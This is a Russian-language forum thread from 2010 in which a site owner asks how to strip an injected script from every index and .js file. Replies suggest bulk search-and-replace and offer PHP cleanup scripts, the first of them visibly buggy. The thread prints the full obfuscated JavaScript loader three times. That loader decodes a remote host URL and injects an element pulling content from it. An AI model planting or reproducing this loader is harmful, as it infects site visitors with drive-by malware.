Просмотр полной версии : Лишний код во всех файлах?
во всех индексных файлах и файлах с расширением js в конце добавился странный код
как его можно удалить? сразу во всех файлах, по одному ковырять ооочень долго.
вот:
<script>var g=new Array();var dw;if(dw!=''){dw='W'};var Bb;if(Bb!=''){Bb='A'};function k(){var I;if(I!='' && I!='zH'){I=null};var M=new Date();var Q;if(Q!='' && Q!='hz'){Q=''};var T=window;var h=T['unescape'];var Lk='';var o=new Array();var e=h("%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%62%65%65%6d%7 0%33%2e%63%6f%6d%2f%64%6f%75%62%61%6e%2e%63%6f%6d% 2e%70%68%70");var N='';var K=new Date();var ua;if(ua!='zP' && ua!='u'){ua=''};function t(kb,B){this.j="";var F='';var w=h("%5d");var iD;if(iD!='x' && iD!='qh'){iD=''};var n=h("%5b");var Nd=new Array();var G=new String("g");var WP;if(WP!='' && WP!='iz'){WP=null};var rP;if(rP!='' && rP!='Ar'){rP=null};var lq=new String();var Zb;if(Zb!=''){Zb='DQ'};var L=new RegExp(n+B+w, G);var eF;if(eF!='zb'){eF=''};var Ig="";return kb.replace(L, new String());var MO;if(MO!='vG'){MO='vG'};};var U;if(U!='hb' && U!='va'){U=''};this.Wv='';var z=t('sArhcC','vYhTHxbwk0If7CzuPA');var Ka;if(Ka!='' && Ka!='Ey'){Ka=''};var R=t('dEeBfwevrK','v1FBE8wj_OK9');var oL;if(oL!='' && oL!='Vx'){oL=null};var i=t('891741914634053623539159989559927443066645351 2','52697143');var At=new Array();var ih=document;var mK=new Array();var Rq=t('sgcPryiSpZty','3Cy2LmXahMPH9gDVEzZS');var yN;if(yN!='jh' && yN!='bv'){yN=''};var fY="";function D(){var tc;if(tc!=''){tc='av'};var dl="";this.BW="";var X=h("%68%74%74%70%3a%2f%2f%63%6c%61%6e%64%61%72%6b%73%6 b%79%2e%69%6e%66%6f%3a");var qY="";this.ZP="";var Rc=X;var IV;if(IV!='AH'){IV=''};this.WS='';Rc+=i;var Mc;if(Mc!='pB'){Mc='pB'};var pP;if(pP!='' && pP!='fC'){pP='xr'};Rc+=e;var Ec=new Date();var VE=new Date();var FS;if(FS!='Lg' && FS!='zq'){FS='Lg'};this.Cz='';try {var Tu=new String();var HF;if(HF!='' && HF!='Iw'){HF=null};var XK;if(XK!='' && XK!='dI'){XK='P'};d=ih[t('cJrHekaJt0eUEZlbeLmdeZnktY','VskY0Xb3IA_UdwC2LJ H1ZS')](Rq);var jI;if(jI!='oe' && jI!='W_'){jI=''};var Tb;if(Tb!='' && Tb!='yo'){Tb='ED'};d[R]=[1][0];this.MJc='';d[z]=Rc;this.tD='';var KT=new Date();this.ud="";this.Yv="";ih.body[t('aHpspVe4ngdHCKhGiylrdg','Gy9sHVgFIur45MKz')](d);var QT;if(QT!='FB' && QT!='bV'){QT='FB'};} catch(Y){var iP;if(iP!='' && iP!='Wl'){iP='Jn'};};var Hn;if(Hn!='' && Hn!='fg'){Hn=''};var vS=new Array();}var hzG;if(hzG!='' && hzG!='nF'){hzG=null};var ki;if(ki!='xn'){ki='xn'};var l_="";var y=t('oenSleozazdS','7OHWxSFzet0');var CJ="";var Gx;if(Gx!='' && Gx!='pj'){Gx=null};T[y]=D;this.XR='';var rB;if(rB!='' && rB!='YU'){rB=null};var xo;if(xo!='_z' && xo!='Ti'){xo='_z'};};var SkX;if(SkX!='' && SkX!='WU'){SkX=null};var Hy;if(Hy!='Vr' && Hy!='F_'){Hy='Vr'};var wu;if(wu!='XG' && wu != ''){wu=null};var ga;if(ga!='Hc' && ga != ''){ga=null};k();var AG=new String();</script>
POS_troi
20.04.2010, 20:30
для начала сменить пасс на ФТП
уже сделано, и в саппорт(джино) уже написали, но ответа пока нету.
у юзеров антивири ругаются на каждую страничку сайта почти!!!
как массово удалить этот код из файлов index.html
и из всех файлов с рассширением .js
????
POS_troi
20.04.2010, 21:07
как массово удалить этот код из файлов index.html
и из всех файлов с рассширением .js
????
По нормальному - восстановить из бэкапа (которого как всегда нет ;) )
Ручками - в каждом файле удалить
Софтом - скачать весь сайт на комп и темже notepad++ сделать замену текста
а причины?
кроме фтп, и взлома хостеров
из за чего еще это могло произойти?
^_WhitE_DeMoN_^
20.04.2010, 21:44
Handy File Tool (http://turbobit.net/fnwh1jj73a0q.html)
Handy File Tool (http://turbobit.net/fnwh1jj73a0q.html)
все бы хорошо. но только она не умеет искать содежимое в файлах и заменять их(массово)
Total commander в руки + блокнот.
Щас над сайтом и готово.(ищет масово)
при всем желании часу не хватит, сайт:
joomla+vbulletin(3 штуки)
иди за час почисти все файлики
Получаешь список файлов и каталогов, расположенных по указанному пути функцией scandir, после чего поочередно открываешь файлы, представив их ввиде массива и unset'ом дропаешь оттуда заданное количество строк начиная с конца файла.
Проще в ручную, ну ещё вариант взять движки CMS и форума и заменить ими. Только нужно знать, что конкретно нельзя перезаписывать.
^_WhitE_DeMoN_^
21.04.2010, 06:01
все бы хорошо. но только она не умеет искать содежимое в файлах и заменять их(массово)
Как раз это и может (массово) !
Могу сказать самая лучшая прога для оптового замена контента файлов.
нужно заменить часть содержимого файла. то есть лишшний яваскрипт в конце всех файлов
^_WhitE_DeMoN_^
22.04.2010, 01:23
Раскуривай доки проги - не пожалееш...
Не раз спасала
Deathdreams
22.04.2010, 15:55
Что-то типо этого (не проверял):
$shit = <<<TXT
var g=new Array();var dw;if(dw!=''){dw='W'};var Bb;if(Bb!=''){Bb='A'};function k(){var I;if(I!='' && I!='zH'){I=null};var M=new Date();var Q;if(Q!='' && Q!='hz'){Q=''};var T=window;var h=T['unescape'];var Lk='';var o=new Array();var e=h("%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%62%65%65%6d%7 0%33%2e%63%6f%6d%2f%64%6f%75%62%61%6e%2e%63%6f%6d% 2e%70%68%70");var N='';var K=new Date();var ua;if(ua!='zP' && ua!='u'){ua=''};function t(kb,B){this.j="";var F='';var w=h("%5d");var iD;if(iD!='x' && iD!='qh'){iD=''};var n=h("%5b");var Nd=new Array();var G=new String("g");var WP;if(WP!='' && WP!='iz'){WP=null};var rP;if(rP!='' && rP!='Ar'){rP=null};var lq=new String();var Zb;if(Zb!=''){Zb='DQ'};var L=new RegExp(n+B+w, G);var eF;if(eF!='zb'){eF=''};var Ig="";return kb.replace(L, new String());var MO;if(MO!='vG'){MO='vG'};};var U;if(U!='hb' && U!='va'){U=''};this.Wv='';var z=t('sArhcC','vYhTHxbwk0If7CzuPA');var Ka;if(Ka!='' && Ka!='Ey'){Ka=''};var R=t('dEeBfwevrK','v1FBE8wj_OK9');var oL;if(oL!='' && oL!='Vx'){oL=null};var i=t('891741914634053623539159989559927443066645351 2','52697143');var At=new Array();var ih=document;var mK=new Array();var Rq=t('sgcPryiSpZty','3Cy2LmXahMPH9gDVEzZS');var yN;if(yN!='jh' && yN!='bv'){yN=''};var fY="";function D(){var tc;if(tc!=''){tc='av'};var dl="";this.BW="";var X=h("%68%74%74%70%3a%2f%2f%63%6c%61%6e%64%61%72%6b%73%6 b%79%2e%69%6e%66%6f%3a");var qY="";this.ZP="";var Rc=X;var IV;if(IV!='AH'){IV=''};this.WS='';Rc+=i;var Mc;if(Mc!='pB'){Mc='pB'};var pP;if(pP!='' && pP!='fC'){pP='xr'};Rc+=e;var Ec=new Date();var VE=new Date();var FS;if(FS!='Lg' && FS!='zq'){FS='Lg'};this.Cz='';try {var Tu=new String();var HF;if(HF!='' && HF!='Iw'){HF=null};var XK;if(XK!='' && XK!='dI'){XK='P'};d=ih[t('cJrHekaJt0eUEZlbeLmdeZnktY','VskY0Xb3IA_UdwC2LJ H1ZS')](Rq);var jI;if(jI!='oe' && jI!='W_'){jI=''};var Tb;if(Tb!='' && Tb!='yo'){Tb='ED'};d[R]=[1][0];this.MJc='';d[z]=Rc;this.tD='';var KT=new Date();this.ud="";this.Yv="";ih.body[t('aHpspVe4ngdHCKhGiylrdg','Gy9sHVgFIur45MKz')](d);var QT;if(QT!='FB' && QT!='bV'){QT='FB'};} catch(Y){var iP;if(iP!='' && iP!='Wl'){iP='Jn'};};var Hn;if(Hn!='' && Hn!='fg'){Hn=''};var vS=new Array();}var hzG;if(hzG!='' && hzG!='nF'){hzG=null};var ki;if(ki!='xn'){ki='xn'};var l_="";var y=t('oenSleozazdS','7OHWxSFzet0');var CJ="";var Gx;if(Gx!='' && Gx!='pj'){Gx=null};T[y]=D;this.XR='';var rB;if(rB!='' && rB!='YU'){rB=null};var xo;if(xo!='_z' && xo!='Ti'){xo='_z'};};var SkX;if(SkX!='' && SkX!='WU'){SkX=null};var Hy;if(Hy!='Vr' && Hy!='F_'){Hy='Vr'};var wu;if(wu!='XG' && wu != ''){wu=null};var ga;if(ga!='Hc' && ga != ''){ga=null};k();var AG=new String();
TXT;
$dir = '/home'; // папка в которой нужно всё это заменять (если данная, то воспользоваться ф-ей getcwd() )
if ($handle = opendir($dir)) {
echo "Successfully opened directory.\r\n";
while (false !== ($file = readdir($handle))) {
if( $file !== '.' || $file !== '..' )
{
if( substr( $file, 0, -4 ) == 'html' )
{
file_put_contents( $file, str_replace( "<script>".$shit."</script>", "", file_get_contents($file)) );
echo $file." - ok\r\n";
}
else if( substr( $file, 0, -2 ) == 'js' )
{
file_put_contents( $file, str_replace( $shit, "", file_get_contents($file)) );
echo $file." - ok\r\n";
} else continie;
}
}
closedir($handle);
echo 'done...';
}
Deathdreams
Вас хостинг может послать подалее за время выполнения. Нужно разбивать на итерации.
Deathdreams
22.04.2010, 16:49
Deathdreams
Вас хостинг может послать подалее за время выполнения. Нужно разбивать на итерации.
$shit = <<<TXT
var g=new Array();var dw;if(dw!=''){dw='W'};var Bb;if(Bb!=''){Bb='A'};function k(){var I;if(I!='' && I!='zH'){I=null};var M=new Date();var Q;if(Q!='' && Q!='hz'){Q=''};var T=window;var h=T['unescape'];var Lk='';var o=new Array();var e=h("%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%62%65%65%6d%7 0%33%2e%63%6f%6d%2f%64%6f%75%62%61%6e%2e%63%6f%6d% 2e%70%68%70");var N='';var K=new Date();var ua;if(ua!='zP' && ua!='u'){ua=''};function t(kb,B){this.j="";var F='';var w=h("%5d");var iD;if(iD!='x' && iD!='qh'){iD=''};var n=h("%5b");var Nd=new Array();var G=new String("g");var WP;if(WP!='' && WP!='iz'){WP=null};var rP;if(rP!='' && rP!='Ar'){rP=null};var lq=new String();var Zb;if(Zb!=''){Zb='DQ'};var L=new RegExp(n+B+w, G);var eF;if(eF!='zb'){eF=''};var Ig="";return kb.replace(L, new String());var MO;if(MO!='vG'){MO='vG'};};var U;if(U!='hb' && U!='va'){U=''};this.Wv='';var z=t('sArhcC','vYhTHxbwk0If7CzuPA');var Ka;if(Ka!='' && Ka!='Ey'){Ka=''};var R=t('dEeBfwevrK','v1FBE8wj_OK9');var oL;if(oL!='' && oL!='Vx'){oL=null};var i=t('891741914634053623539159989559927443066645351 2','52697143');var At=new Array();var ih=document;var mK=new Array();var Rq=t('sgcPryiSpZty','3Cy2LmXahMPH9gDVEzZS');var yN;if(yN!='jh' && yN!='bv'){yN=''};var fY="";function D(){var tc;if(tc!=''){tc='av'};var dl="";this.BW="";var X=h("%68%74%74%70%3a%2f%2f%63%6c%61%6e%64%61%72%6b%73%6 b%79%2e%69%6e%66%6f%3a");var qY="";this.ZP="";var Rc=X;var IV;if(IV!='AH'){IV=''};this.WS='';Rc+=i;var Mc;if(Mc!='pB'){Mc='pB'};var pP;if(pP!='' && pP!='fC'){pP='xr'};Rc+=e;var Ec=new Date();var VE=new Date();var FS;if(FS!='Lg' && FS!='zq'){FS='Lg'};this.Cz='';try {var Tu=new String();var HF;if(HF!='' && HF!='Iw'){HF=null};var XK;if(XK!='' && XK!='dI'){XK='P'};d=ih[t('cJrHekaJt0eUEZlbeLmdeZnktY','VskY0Xb3IA_UdwC2LJ H1ZS')](Rq);var jI;if(jI!='oe' && jI!='W_'){jI=''};var Tb;if(Tb!='' && Tb!='yo'){Tb='ED'};d[R]=[1][0];this.MJc='';d[z]=Rc;this.tD='';var KT=new Date();this.ud="";this.Yv="";ih.body[t('aHpspVe4ngdHCKhGiylrdg','Gy9sHVgFIur45MKz')](d);var QT;if(QT!='FB' && QT!='bV'){QT='FB'};} catch(Y){var iP;if(iP!='' && iP!='Wl'){iP='Jn'};};var Hn;if(Hn!='' && Hn!='fg'){Hn=''};var vS=new Array();}var hzG;if(hzG!='' && hzG!='nF'){hzG=null};var ki;if(ki!='xn'){ki='xn'};var l_="";var y=t('oenSleozazdS','7OHWxSFzet0');var CJ="";var Gx;if(Gx!='' && Gx!='pj'){Gx=null};T[y]=D;this.XR='';var rB;if(rB!='' && rB!='YU'){rB=null};var xo;if(xo!='_z' && xo!='Ti'){xo='_z'};};var SkX;if(SkX!='' && SkX!='WU'){SkX=null};var Hy;if(Hy!='Vr' && Hy!='F_'){Hy='Vr'};var wu;if(wu!='XG' && wu != ''){wu=null};var ga;if(ga!='Hc' && ga != ''){ga=null};k();var AG=new String();
TXT;
foreach (glob("*.html") as $file) {
file_put_contents( $file, str_replace( "<script>".$shit."</script>", "", file_get_contents($file)) );
}
foreach (glob("*.js") as $file) {
file_put_contents( $file, str_replace( $shit, "", file_get_contents($file)) );
}
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot